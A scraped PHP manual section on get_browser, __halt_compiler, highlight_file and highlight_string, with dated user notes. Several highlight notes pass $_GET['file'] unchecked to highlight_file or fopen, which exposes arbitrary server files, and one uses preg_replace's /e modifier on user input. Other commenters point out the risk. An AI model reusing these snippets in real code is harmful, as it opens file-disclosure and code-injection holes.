   if ( ($s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent)) !== FALSE )
   {
     $f = $s + strlen($parent);
     $version = substr($_SERVER['HTTP_USER_AGENT'], $f, 5);
     $version = preg_replace('/[^0-9,.]/','',$version);

     $info[browser] = $parent;
     $info[version] = $version;
     break; // first match wins
   }
  }

  return $info;
}
?>
matt at axia dot org dot uk
14-Oct-2005 06:36
This is a fix for a bug in the code left by steve (in Feb).  Basically, if the search for the browser type was at the beginning of the 'HTTP_USER_AGENT' (ie. the first character) then strpos returns 0 causing, the code to drop out incorrectly.  I also trimmed the code to make it more efficient.

function _get_browser()
{
  $browser = array (
   "MSIE",            // parent
   "OPERA",
   "MOZILLA",        // parent
   "NETSCAPE",
   "FIREFOX",
   "SAFARI"
  );

  $info[browser] = "OTHER";

  foreach ($browser as $parent)
  {
   if ( ($s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent)) !== FALSE )
   {
     $f = $s + strlen($parent);
     $version = substr($_SERVER['HTTP_USER_AGENT'], $f, 5);
     $version = preg_replace('/[^0-9,.]/','',$version);

     $info[browser] = $parent;
     $info[version] = $version;
   }
  }

  return $info;
}
adspeed.com
03-Sep-2005 01:06
Here is what we do to fix the parsing error messages for php_browscap.ini downloaded from Gary's website.

<?php
// fix the browsecap.ini for php
$v= file_get_contents('php_browscap.ini');
$v= preg_replace("/\r/","",$v);
$v= preg_replace('/="(.*)"/i','=\\1',$v);
$v= preg_replace("/platform=(.*)/i","platform=\"\\1\"",$v);
$v= preg_replace("/parent=(.*)/i","parent=\"\\1\"",$v);
$v= preg_replace("/minorver=(.*)/i","minorver=\"\\1\"",$v);
$v= preg_replace("/majorver=(.*)/i","majorver=\"\\1\"",$v);
$v= preg_replace("/version=(.*)/i","version=\"\\1\"",$v);
$v= preg_replace("/browser=(.*)/i","browser=\"\\1\"",$v);
$v= str_replace("[*]","*",$v);
file_put_contents('browscap.ini',$v);
?>
pal at degerstrom dot com
26-Apr-2005 09:13
This might be useful for some until the Gary Keith updates his library. I added this to my browscap.ini to detect the latest Safari update for Panther, and the new Safari in Tiger:

;;; Added manually 05.04.19 for Safari 1.3
[Mozilla/5.0 (Macintosh; U; PPC Mac OS X; *) AppleWebKit/* (*) Safari/31?]
parent=Safari
version=1.3
majorver=1
minorver=3

;;; Added manually 05.04.26 for Safari 2.0 (Shipped with Tiger)
[Mozilla/5.0 (Macintosh; U; PPC Mac OS X; *) AppleWebKit/* (*) Safari/41?]
parent=Safari
version=2.0
majorver=2
minorver=0

Note: Full $_SERVER['HTTP_USER_AGENT'] for Safari 2 (Tiger) is
     Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412

(Disclaimer: I do not know if the entries above conform to whatever syntax standard Gary uses in his file, but it works fine for me).

Pl Degerstr
tectonikNOSPAM at free dot fr
07-Apr-2005 05:17
Another (short) sequential php script to determine browsers family and version.
<?
//        _______
// ----- | CONF. |
//
// add new browsers in lower case here, separated
// by spaces -  order is important: from left to
// right browser family becomes more precise
$browsers = "mozilla msie gecko firefox ";
$browsers.= "konqueror safari netscape navigator ";
$browsers.= "opera mosaic lynx amaya omniweb";

//        _______
// ----- |PROCESS|
//
$browsers = split(" ", $browsers);

$nua = strToLower( $_SERVER['HTTP_USER_AGENT']);

$l = strlen($nua);
for ($i=0; $i<count($browsers); $i++){
  $browser = $browsers[$i];
  $n = stristr($nua, $browser);
  if(strlen($n)>0){
   $GLOBALS["ver"] = "";
   $GLOBALS["nav"] = $browser;
   $j=strpos($nua, $GLOBALS["nav"])+$n+strlen($GLOBALS["nav"])+1;
   for (; $j<=$l; $j++){
     $s = substr ($nua, $j, 1);
     if(is_numeric($GLOBALS["ver"].$s) )
     $GLOBALS["ver"] .= $s;
     else
     break;
   }
  }
}

//        _______
// ----- |  USE  |
//
echo("<pre>Your browser is: ");
echo($GLOBALS["nav"] . " " . $GLOBALS["ver"] . "</pre>");
?>

source: http://tectonik.free.fr/technos/php/
another%20PHP%20browser%20sniffer.php
jasperbg at gmail dot com
03-Apr-2005 12:23
To :: TomkOx ::

It's actually better to use strpos(). You need to use === or !== rather than == or != to check the return value though, otherwise you'll get 0 which equates to false when the string is found at position 0.

For example:

<?php
if(strpos($haystack, $needle) !== false) {
/* String was found */
} else {
/* String wasn't found */
}
?>

That'll work for any position, even 0.
:: TomkOx ::
31-Mar-2005 02:12
It is not good to use function: strpos() in detecting browser or OS by HTTP_USER_AGENT. Better is to use function strstr() becouse some strings returned by HTTP_USER_AGENT have 'needed information' at 1st (0) position of the string. Function strpos() 'will not find' for eg. signature of Opera on OSX. I think it's better to use like this (example):

<?

// ...

Class SomeDetectoriumClass {

// ...

// here starts this method (function):

   function aboutNetGuest() {
   $curos=strtolower($_SERVER['HTTP_USER_AGENT']);
   $uip=$_SERVER['REMOTE_ADDR'];
   $uht=gethostbyaddr($_SERVER['REMOTE_ADDR']);

           if (strstr($curos,"mac")) {
                   $uos="MacOS";
                   } else if (strstr($curos,"linux")) {
                   $uos="Linux";
                   } else if (strstr($curos,"win")) {
                   $uos="Windows";
                   } else if (strstr($curos,"bsd")) {
                   $uos="BSD";
                   } else if (strstr($curos,"qnx")) {
                   $uos="QNX";
                   } else if (strstr($curos,"sun")) {
                   $uos="SunOS";
                   } else if (strstr($curos,"solaris")) {
                   $uos="Solaris";
                   } else if (strstr($curos,"irix")) {
                   $uos="IRIX";
                   } else if (strstr($curos,"aix")) {
                   $uos="AIX";
                   } else if (strstr($curos,"unix")) {
                   $uos="Unix";
                   } else if (strstr($curos,"amiga")) {
                   $uos="Amiga";
                   } else if (strstr($curos,"os/2")) {
                   $uos="OS/2";
                   } else if (strstr($curos,"beos")) {
                   $uos="BeOS";
                   } else { $uos="[?]EgzoticalOS";
           }

           if (strstr($curos,"gecko")) {
                             if (strstr($curos,"safari")) {
                             $bos="Safari";
                             } else if (strstr($curos,"camino")) {
                             $bos="Camino";
                           } else if (strstr($curos,"firefox")) {
                           $bos="Firefox";
                           } else if (strstr($curos,"netscape")) {
                           $bos="Netscape";
                           } else { $bos="Mozilla";
                           }
           } else if (strstr($curos,"opera")) {
                           $bos="Opera";
           } else if (strstr($curos,"msie")) {
                           $bos="Internet Exploder";
           } else if (strstr($curos,"voyager")) {
                           $bos="Voyager";
           } else if (strstr($curos,"lynx")) {
                           $bos="Lynx";
           } else { $bos="[?]EgzoticalBrowser";
           }

   return array ($uos,$bos,$uip,$uht);
   } // - Class Closer;

// ...

?>

Regards from Poland, TomkOx. ;)
steve
12-Feb-2005 08:17
displays browser and version # in an array.

<?php

// important to order by parent ie MSIE then OPERA.

$browser = array (
   "MSIE",            // parent
   "OPERA",
   "MOZILLA",        // parent
   "NETSCAPE",
   "FIREFOX",
   "SAFARI"
);

$info[browser] = "OTHER";

foreach ($browser as $parent) {
   $s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
   $f = $s + strlen($parent);
   $version = substr($_SERVER['HTTP_USER_AGENT'], $f, 5);
   $version = preg_replace('/[^0-9,.]/','',$version);

   if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent)) {
   $info[browser] = $parent;
   $info[version] = $version;
   }
}

print_r($info);

?>
Melchior (webmaster at ffx-ultima dot com)
25-Oct-2004 11:33
My contribution for detected the browsers

<?php

if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Gecko') )
{
   if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Netscape') )
   {
     $browser = 'Netscape (Gecko/Netscape)';
   }
   else if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') )
   {
     $browser = 'Mozilla Firefox (Gecko/Firefox)';
   }
   else
   {
     $browser = 'Mozilla (Gecko/Mozilla)';
   }
}
else if ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') )
{
   if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') )
   {
     $browser = 'Opera (MSIE/Opera/Compatible)';
   }
   else
   {
     $browser = 'Internet Explorer (MSIE/Compatible)';
   }
}
else
{
   $browser = 'Others browsers';
}

echo $browser;

?>

Melchior ;)
hh
29-Jun-2004 03:19
Another PHP browser detection script that might be of use to you is here:
http://tech.ratmachines.com/downloads/php_browser_detection.php
This script uses a fairly different logic than get_browser, and doesn't worry about things like table/frame ability. This script was being used by mozdev to id Mozilla versions, since it specializes in that kind of specialized id. It also has unix/linux version os iding.
max at phpexpert dot de
26-Mar-2004 11:14
Be aware of the fact that this function shows what a specific browser might be able to show, but NOT what the user has turned on/off.

So maybe this function tells you that the browser is abel to to javascript even when javascript is turned off by the user.
bishop
06-Aug-2003 02:46
PHP is sensitive to characters outside the range [ A-Za-z0-9_] as values in .ini files.  For example

browser=Opera (Bork Version)

causes PHP to complain, as it doesn't like the parentheses.

If you place quotation marks around the values for all keys in the browscap.ini file, you'll save yourself parsing problems.  Do this in eg vi with %s/=\(.*\)/="\1"/g

You could of course use PHP itself to fixup the file.  Exercise left to the reader.
verx at implix dot com
09-Dec-2002 06:57
Please keep in mind that you should somehow (for example in session) cache the required results of get_browser() because it really slows thinks down.

We have experienced that without querying for browser data our scripts would run 120-130% faster. the explanation is that over 200kb long file (browscap.ini) has to be loaded and parsed everytime someone access any page (we need browser results on all pages).

So keep results in session and expect a performance boost.
les at hazlewood dot com
04-Sep-2001 09:57
phpSniff (noted in a few places above) is absolutely fantastic.  I just installed it, and it is a godsend!  It now handles all of my session information needed to go in my database.  Thanks for you folks who posted that great Sourceforge resource!  http://phpsniff.sourceforge.net/
philip at cornado dot com
26-Aug-2001 11:05
A couple places that may interest you :
* http://phpbuilder.com/columns/tim20000821.php3
* http://sourceforge.net/projects/phpsniff/
nick at category4 dot com
13-Jun-2001 07:21
Here's a quick way to test for a Netscape browser.  IE and Konqueror and several others call themselves "Mozilla", but they always qualify it with the word "compatible."

$isns = stristr($HTTP_USER_AGENT, "Mozilla") && (!(stristr($HTTP_USER_AGENT, "compatible")));
triad at df dot lth dot se
31-Jul-2000 07:17
The only way browscap examines the target browser is through the HTTP_USER_AGENT so there is no way you can determine installed plug-ins. The only way to do that is through client-side JavaScripts.
andysmith at post dot com
06-May-2000 05:04
the example is great if you just want to spit out all that stuff, but i highly doubt anybody really wants to do that. To use the get_browser object in a conditional statement, do something like this:

$ua = get_browser ();
if ( ( $ua->browser == "Netscape" ) && ( $ua->version < 5 ) ) {
     // code to fix the page for netscape :)
}
add a note add a note

后退 | 起点 | 前进
exit | 上一级 | __halt_compiler


__halt_compiler

(no version information, might be only in CVS)

__halt_compiler -- Halts the compiler execution

说明

void __halt_compiler ( void )

This function halts the execution of the compiler. This can be useful to embed data in PHP scripts, like the installation files.

注: __halt_compiler() can only be used from the outermost scope.

范例

例子 1. A __halt_compiler() example

<?php

// open this file
$fp = fopen(__FILE__, 'r');

// seek file pointer to data
// plus the line-feed (that will depend on the file format/OS)
fseek($fp, __COMPILER_HALT_OFFSET__ + strlen(PHP_EOL));

// and output it
var_dump(stream_get_contents($fp));

// the end of the script execution
__halt_compiler();
the instalation data (eg. tar, gz, etc..)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
get_browser | 上一级 | highlight_file


highlight_file

(PHP 4, PHP 5)

highlight_file -- Syntax highlighting of a file

Description

mixed highlight_file ( string filename [, bool return] )

The highlight_file() function prints out a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.

If the second parameter return is set to TRUE then highlight_file() will return the highlighted code as a string instead of printing it out. If the second parameter is not set to TRUE then highlight_file() will return TRUE on success, FALSE on failure.

注: The return parameter became available in PHP 4.2.0. Before this time it behaved like the default, which is FALSE

注: Since PHP 4.2.1 this function is also affected by safe_mode and open_basedir.

注意

Care should be taken when using the highlight_file() function to make sure that you do not inadvertently reveal sensitive information such as passwords or any other type of information that might create a potential security risk.

Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file. To enable this, add this line to the httpd.conf:

AddType application/x-httpd-php-source .phps

See also highlight_string().

add a note add a note User Contributed Notes
showsource at gmail dot com
08-Apr-2006 08:18
Please, be aware of just using marlon at mbwp dot nl example to show the sourcecode
Do as told in this manual, "CAUTION", do some check on what code to highlight.
Simply just using $_GET["file"] is very bad.
marlon at mbwp dot nl
05-Mar-2006 09:06
I use the folowing code to highlight a file with line numbers:

<?php
echo "<table bgcolor=#EEEEEE><tr><td width=30>";
for ($i = 1; $i <= count(file($_GET['file'])); $i++) echo $i.".<br>";
echo "</td><td>";
highlight_file($_GET['file']);
echo "</td></tr></table>";
?>
msn at toolskyn dot nl
26-Feb-2006 05:18
I use this (simple and dirty) function in my tutorials to add linenumbers. I let all the linenumbers in one table cell so it is easier for people to copy and paste the code (so they don't have to remove all the linenumbers):

<?php
function highlight_with_linenum($file)
{
   //open handle, set vars
   $handle = fopen($file, "r");
   $count = 1;
   $lines = "";

   //look line ends
   while ($thisone = fread($handle, "1"))
   {
       if ($thisone == "\n")
       {
           //add number
           $lines .= $count . "<br />";
           $count++;
       }
   }
   //close handle
   fclose($handle);

   //highlight contents
   $contents = highlight_file($file, TRUE);

   //print output (you could as well return now)
   print '<table><tr><td><code>' .
         $lines . '</code></td><td>' .
         $contents . '</td></tr></table>';
}
?>

Maybe it's of use to someone
contact at soulpass dot com
30-Jan-2006 06:52
A couple side notes about my previous post regarding security:

When I previewed the post, one of the backslashes in the regular expression disappeared, so I escaped it with another backslash, and then it worked in the preview. When the note posted, both backslashes appeared. Hopefully it will work in this update. The correct regular expression should be:

(^/|\./)

Please change it if you use the suggestion in the post below.

Also, it would be a good idea to hide your valid_files.txt using .htaccess. The updated .htaccess is as follows:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.+).phps$ index.php?f=$1 [L]
</IfModule>

<Files valid_files.txt>
order allow,deny
deny from all
</Files>

Sorry for the confusion...
contact at soulpass dot com
30-Jan-2006 05:20
I wanted to have a provision for highlighting source files that I have written. I also wanted people to be able to see the highlighted files from links on my blog (i.e. - the general public would be exposed to this as well).

Using highlight_string() would require me to update a second file every time I update the original script, but using highlight_file() brings up a major security risk!

I made the following code that goes at the top of highlighting script. Note that if you want to enable highlighting of a particular file, you'll have to add its path to a text file, as described below.

<?php
if (!isset($_GET['f']) || !file_exists($_GET['f'] . '.php') ||
   !in_array($_GET['f'], array_map('trim', file('valid_files.txt'))) ||
   preg_match('(^/|\\./)', $_GET['f']) || $_GET['f'] == 'index') {
   exit('Message to malicious visitor.');
}
?>

This just serves to keep people from trying to highlight files below the current directory (in my case, /source/). After this snippet, you could put some simple highlighting code that highlights the file using highlight_file($_GET['f'] . '.php');

Since I have the highlighting script saved as "index.php," in my case the script is called with /source/index.php?f=path/to/file

Notice that there is no .php extension. With this script, it appends ".php" automatically, thus effectively disallowing any file other than a PHP file to be highlighted (i.e., no .htaccess file will be highlighted on accident). The script also aborts if it detects a leading forward slash (/), or a period followed by a forward slash (./) anywhere in the requested file. I couldn't think of a case where ./ would be a valid request, but I could be wrong there.

Also note that a file called "valid_files.txt" goes in the same directory as the highlighting script. The format of this file is as follows:

path/to/file1
path/to/file2

Note that there is no extension here either because PHP is assumed in the script.

Finally, the script does not allow _itself_ to be highlighted. That's where "|| $_GET['f'] == 'index'" comes in. In case a security risk has not been covered here, we don't want anyone to see the measures, or lack thereof, that have been covered.

If you want to use an .htaccess file to clean up the URL, here's an idea for that:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^(.+).phps$ index.php?f=$1 [L]
</IfModule>

The .htaccess file goes in the same directory as the highlighting script (again, in my case, /source/). With it, the script may be called with this URI: /source/path/to/file.phps

This also adds another security benefit, as people may now see that the files appears to be ending in .phps.

I know it's a bit messy, but it's also a big deal to have the script as secure as possible. If anyone has any suggestions, please post them.
ganchev at design dot bg
13-Jan-2006 04:40
here's a simple way to add line numbers and
optionally highlight the one that has error on it.
just pass file and line arguments as GET variables

<?php

$f = fopen($_GET['file'], "r");
$count = 1;
$line = "";
echo "<table>";
while ($c = fread($f, "1")) {
  $line .= $c;
  if ($c == "\n") {
   echo "<tr style='background: " . (($_GET['line'] == $count) ? "#eedddd" : "#ffffff") . "'><td width='10%'>$count.</td><td>" . highlight_string($line, TRUE) . "</td></tr>\n";
   $line = "";
   $count++;
  }
}
echo "</table>";
fclose($f);

?>
dtroi50 at gmail dot com
10-Jan-2006 06:39
If you run a site that has PHP script examples and you want to show the source, instead of a phps file, just add the following code to the top of the script.

<?php
if(count($_GET)) {
highlight_file(__FILE__);
}
?>

Then to make a source link use this:

<?php
print'<a href="?source">Show source</a>';
?>

Note that you don't have to use souce. If any get variables are set, it'll work.

-Tom
venski at gmail dot com
06-Jan-2006 09:21
I think it will be better if the variable contains the files that are allowed to be viewed. There can always befound a way to pass the name of a forbiddedn file that is not in the prohibited array.

Thus the code will be:

<?php
//array with files to allow
$allowed = array('index.php', 'menu.php', 'about.php');

// get the filename
$file = $_GET[file];
if(file_Exists($file)){
   if(in_array($file, $allowed)){
       // check if it is part of the allowed list
       highlight_file($file); //highlight file
   }
   else{
       // not allowed. just die. do not warn ;)
       die("");
   }
}
else{
   // file doesnt exist
   echo "The file does not exist.";
}
?>
trukin at gmail dot com
09-Dec-2005 11:46
this function can be a high security risk. use something like in_array to check if a file is prohibited to be shown on screen.

<?
$ar= array('config.php', 'index.php', 'functions.php');    //array with files to denie
$file = $_GET[file];                    // iniziate the variable
if(file_Exists($file)){
   if(!in_array($file, $ar)){    // check if it is prohibited
       highlight_file($file); //highlight file
   }else{    // prohibited file
       echo "You do not have permision to see the ".$file." file.";
   }
}else{    // file doesnt exist
   echo "That file does not exist.";
}
?>
Michael Newton (http://mike.eire.ca/)
07-Dec-2005 01:48
To print out the current file:

<?php highlight_file( __FILE__ ); ?>

Useful to add this as a header to all scripts (during development only, of course!)

<?php
if ($_GET['debug']) {
   highlight_file( __FILE__ );
   exit;
}
?>
Vlad Alexa Mancini valexa at nextcode dot org
22-Feb-2005 03:19
Here is a small bash script that you can type at the console to make recursive symbolic .phps links for all your .php files starting at your curent directory

for f in `find -name '*.php'`; do ln -s `basename $f` $f's'; done

NOTE: You doubtedly want to do this at / as it will make such symlinks for all the php files on your filesystem

NOTE: This places the symlinks in the same directory as the php file that they are simlinking

And a simpler one that is not recursive and does the same thing but only for the php files in your current directory

for f in *.php; do ln -s $f $f's'; done
aidan at php dot net
26-Sep-2004 11:29
To add line numbers to source code, with optional function linking, use the below function:

http://aidan.dotgeek.org/lib/?file=function.highlight_file_linenum.php

A much more thorough and smarter, though slower version is here:

http://aidan.dotgeek.org/lib/?file=PHP_Highlight.php
csst0266 at cs dot uoi dot gr
14-Aug-2004 12:42
Here is a simple, yet useful, tip... Issuing the following command under a Unix-like OS:

ln -s your_script.php your_script.phps

Will result in the creation of a symbolic link (called your_script.phps) to the source code (your_script.php). This way you have (apart from the source code .php) the highlighted version of your script (.phps) accessible via your web browser.
zan at stargeek dot com
09-Jan-2003 02:24
here's how to use highlight_file to create a browseable archive of php scripts http://www.stargeek.com/scripts.php?script=7&cat=blog
add a note add a note

后退 | 起点 | 前进
__halt_compiler | 上一级 | highlight_string


highlight_string

(PHP 4, PHP 5)

highlight_string -- Syntax highlighting of a string

Description

mixed highlight_string ( string str [, bool return] )

The highlight_string() function outputs a syntax highlighted version of str using the colors defined in the built-in syntax highlighter for PHP.

If the second parameter return is set to TRUE then highlight_string() will return the highlighted code as a string instead of printing it out. If the second parameter is not set to TRUE then highlight_string() will return TRUE on success, FALSE on failure.

例子 1. highlight_string() example

<?php
highlight_string('<?php phpinfo(); ?>');
?>

The above example will output (in PHP 4):

<code><font color="#000000">
<font color="#0000BB">&lt;?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?&gt;</font>
</font>
</code>

The above example will output (in PHP 5):

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php phpinfo</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

注: The return parameter became available in PHP 4.2.0. Before this time it behaved like the default, which is FALSE

See also highlight_file().

add a note add a note User Contributed Notes
peter at int8 dot com
20-Apr-2006 07:43
This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet.
<?php highlight_string("<? \$var = 15; ?>"); ?>
works, while
<?php highlight_string("\$var = 15;"); ?>
does not. This is unforunate for those of use who want to show tiny code snippets, but there you go. Earlier versions of this function did not have this requirement, if I remember correctly.
m dot lebkowski+phpnet at gmail dot com
07-Apr-2006 07:31
stalker, I`m afraid your function has a bug. Whenever a input string will contain a substring: 'color="foo.bar"' it will be replaced by your function, whitch is of course incorrect. Try this:

<?php
function xhtmlHighlightString( $str, $return=false )
{
   $hlt = highlight_string( $str, true );
   $ret = str_replace(
         array( '<font color="', '</font>' ),
         array( '<span style="color: ', '</span>' ),
         $hlt );
   if($return)
         return $ret;
   echo $ret;
   return true;
}

function xhtmlHilightFile( $path, $return = false )
{
       return xhtmlHighlightString( file_get_contents( $path ), $return );
} ?>
stalker at ruun dot de
31-Dec-2005 05:37
to vouksh: I expanded your functions a bit:

<?php
function xhtmlHighlightString($str,$return=false) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
function xhtmlHighlightFile($path,$return=false) {
   $hlt = highlight_file($path, true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
?>
06-Nov-2005 03:05
growling octopus's code didn't work under Windows, so I made this and it worked:
<?php
if (!empty($_GET['source'])) {
   $f = file_get_contents($_SERVER['SCRIPT_FILENAME']);
   highlight_string($f);
   exit();
}
?>
growlingoctopus at no-spam dot gmail dot com
17-Oct-2005 07:37
Here's a trick I use when I want to show people the source to one of my scripts, but don't feel like uploading phps files or the host doesn't support them.
<?php
if (!empty($_GET['source'])) {
   $f = implode(file(substr(__FILE__,strrpos(__FILE__,'/')+1)));
   highlight_string(trim(substr($f,strpos($f,'?'.'>')+2)));
   exit();
}
?>
By adding that to the top of the script, you can then call the script with ?source=1 and it will show the source for the file ... it should work with any script (as long as you aren't using $_GET['source'] for something else, you can always change that if you do).
vouksh at vouksh dot info
11-Sep-2005 01:27
Fully working, XHTML 1.1 ready xhtml_highlight function. I included the stripslashes, because of some problems I had with out it. It should be safe to leave it in there, but if you experience problems, feel free to take it out.

<?
function xhtml_highlight($str) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   echo $ret;
   return true;
}
?>
webmaster at gelan dot org
21-Aug-2005 02:27
Some BB-codes width preg_replace:

<?php
function bb_url($str){
return preg_replace('#[URL=([^\']*)]([^\']*)[/URL]#', '<a href="\\1" target=_blank>\\2</a>', $str);
}
function bb_php($str){
$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
return preg_replace($match, $replace, $str);
}
function bb_img($str){
return preg_replace('#[IMG]([^\']*)[/IMG]#', '<img src="\\1" />', $str);
}
function bb_b{$str){
return preg_replace('#[B]([^\']*)[/B]', '<strong>\\1</strong>', $str);
}
function bb_i{$str){
return preg_replace('#[I]([^\']*)[/I]', '<em>\\1</em>', $str);
}
function bb_parse{$str){
$str = bb_url($str);
$str = bb_php($str);
$str = bb_img($str);
$str = bb_b($str);
$str = bb_i($str);
return $str
}
?>
zer0
21-Jun-2005 12:18
Concerning my code below:

I'm sorry, I completely forgot about str_ireplace being for PHP 5 for some reason. Also, there was another error I missed (too many late nights ;)). Here's the corrected code:

<?php
   function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
   {
       (string) $highlight = "";
       if ( version_compare(PHP_VERSION, "4.2.0", "<") === 1 )
       {
           ob_start(); // start output buffering to capture contents of highlight
           highlight_string($code);
           $highlight = ob_get_contents(); // capture output
           ob_end_clean(); // clear buffer cleanly
       }
       else
       {
           $highlight=highlight_string($code, true);
       }

       # Using preg_replace will allow PHP 4 in on the fun
       if ( $inline === true )
           $highlight=preg_replace("/<code>/i","<code class=\"inline\">",$highlight);
       else
           $highlight=preg_replace("/<code>/i","<code class=\"block\">",$highlight);

       if ( $return === true )
       {
           return $highlight;
       }
       else
       {
           echo $highlight;
       }
   }
?>
zero
16-Jun-2005 06:55
In some cases, I found that it's useful to have highlight_string format <code>...</code> inline as part of a paragraph, and other times, as a block for demonstrating multiple lines of code. I made this function to help out.

<?php
   function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
   {
       (string) $highlight = "";
       if ( version_compare(phpversion(), "4.2.0", "<") === 1 )
       {
           ob_start(); // start output buffering to capture contents of highlight
           highlight_string($code);
           $highlight = ob_get_contents(); // capture output
           ob_end_clean(); // clear buffer cleanly
       }
       else
       {
           $highlight=highlight_string($data, true);
       }

       ## The classes below need to correspond to a stylesheet!
       if ( $inline === true )
         $highlight=str_ireplace("<code>","<code class=\"inline\">",$highlight);
       else
         $highlight=str_ireplace("<code>","<code class=\"block\">",$highlight);

       if ( $return === true )
       {
           return $highlight;
       }
       else
       {
           echo $highlight;
       }
   }
?>
Sam Wilson
15-Jun-2005 02:32
manithu at fahr-zur-hoelle dot org forgot only one thing:  to fix the break tags.  The addidtion of the following should do it.

<?php
$str = str_replace("<br>", "<br />", $str);
?>
bpgordon at gmail dot com
14-Jun-2005 04:04
On dleavitt AT ucsc DOT edu's comment:

You might want to use md5($html_string) instead of "piggusmaloy" as a generally good programming practice. Just in case "piggusmaloy" is actually in $html_string.
dleavitt at ucsc dot edu
04-Jun-2005 05:37
This function does not seem to like <script> tags in HTML strings: if there are any close tags for scripts (whatever their language/type) the syntax highlighter will poop out. The workaround is simple though:
<?php
$html_string = str_replace("script","piggusmaloy", $html_string);
$html_string = highlight_string($html_string, true);
$html_string = str_replace("piggusmaloy","script", $html_string);
echo $html_string;
?>
This works best if you don't have "piggusmaloy" anywhere in your string (a safe assumption?)
trixsey at animania dot nu
30-May-2005 07:02
A neat function I made. Syntax coloring, row numbers, varying background colors per row in the table.

<?
function showCode($code) {
   $html = highlight_string($code, true);
   $html = str_replace("\n", "", $html);
   $rows = explode("<br />", $html);

   $row_num = array();
   $i = 1;

   foreach($rows as $row) {
       if($i < 10) {
           $i = "0".$i;
       }

       if($i==1) {
           $row_num[] = "<tr><td><code><font color=\"#000000\"><code>$i</code></font>\t$row</code></td></tr>";
       }

       if($i!=1) {
           if(is_int($i/2)) {
               $row_num[] = "<tr bgcolor=\"#F9F9F9\"><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
           } else {
               $row_num[] = "<tr><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
           }
       }

       $i++;
   }
   return "<pre>\nFilename: <b>$_GET[file]</b>\n<table
   style=\"border:1px #000000 solid\">".implode($row_num)."</table></pre>";
}
?>
support at superhp dot de
10-Apr-2005 07:58
With this function you can highlight php code with line numbers:

<?php
function highlight_php($string)
{
  $Line = explode("\n",$string);

  for($i=1;$i<=count($Line);$i++)
  {
   $line .= "&nbsp;".$i."&nbsp;<br>";
  }

  ob_start();
  highlight_string($string);
  $Code=ob_get_contents();
  ob_end_clean();

  $header='<table border="0" cellpadding="0" cellspacing="0" width="95%" style="border-style: solid; border-width:1px; border-color: white black black white">
   <tr>
     <td width="100%" colspan="2"  style="border-style: solid; border-width:1px; border-color: white; background-color: #99ccff; font-family:Arial; color:white; font-weight:bold;">Php-Code:</td>
   </tr>
   <tr>
     <td width="3%" valign="top" style="background-color: #99ccff; border-style: solid; border-width:1px; border-color: white;"><code>'.$line.'</code></td>
     <td width="97%" valign="top" style="background-color: white;"><div style="white-space: nowrap; overflow: auto;"><code>';

  $footer=$Code.'</div></code></td>
   </tr>
  </table>';

  return $header.$footer;
} ?>
admin [at] develogix [dot] com
17-Feb-2005 03:15
I've been working on a good replacement for the highlight_string() function; and here is what I've come up with so far:

<?
function get_sourcecode_string($str, $return = false, $counting = true, $first_line_num = '1', $font_color = '#666'){
   $str = highlight_string($str, TRUE);
   $replace = array(
       '<font' => '<span',
       'color="' => 'style="color: ',
       '</font>' => '</span>',
       '<code>' => '',
       '</code>' => '',
       '<span style="color: #FF8000">' =>
           '<span style="color: '.$font_color.'">'
       );
   foreach ($replace as $html => $xhtml){
       $str = str_replace($html, $xhtml, $str);
   }
   // delete the first <span style="color:#000000;"> and the corresponding </span>
   $str = substr($str, 30, -9);

   $arr_html      = explode('<br />', $str);
   $total_lines  = count($arr_html);
   $out          = '';
   $line_counter  = 0;
   $last_line_num = $first_line_num + $total_lines;

   foreach ($arr_html as $line){
       $line = str_replace(chr(13), '', $line);
       $current_line = $first_line_num + $line_counter;
       if ($counting){
           $out .= '<span style="color:'.$font_color.'">'
                 . str_repeat('&nbsp;', strlen($last_line_num) - strlen($current_line))
                 . $current_line
                 . ': </span>';
       }
       $out .= $line
             . '<br />'."\n";
       $line_counter++;
   }
   $out = '<code>'."\n".$out.'</code>."\n"';

   if ($return){return $out;}
   else {echo $out;}
}
?>

This function outputs valid XHTML 1.1 code by replacing font tags with span tags. You can also specify whether you want it to return or echo, output a line-count, the color of the line-count, and the starting line-count number.

Usage:
<?
// $str = string with php
// $return = true (return) / false (echo)
//    default of false
// $counting = true (count) / false (don't count)
//    default of true
// $start = starting count number
//    default of '1'
// $color = count color with preceding #
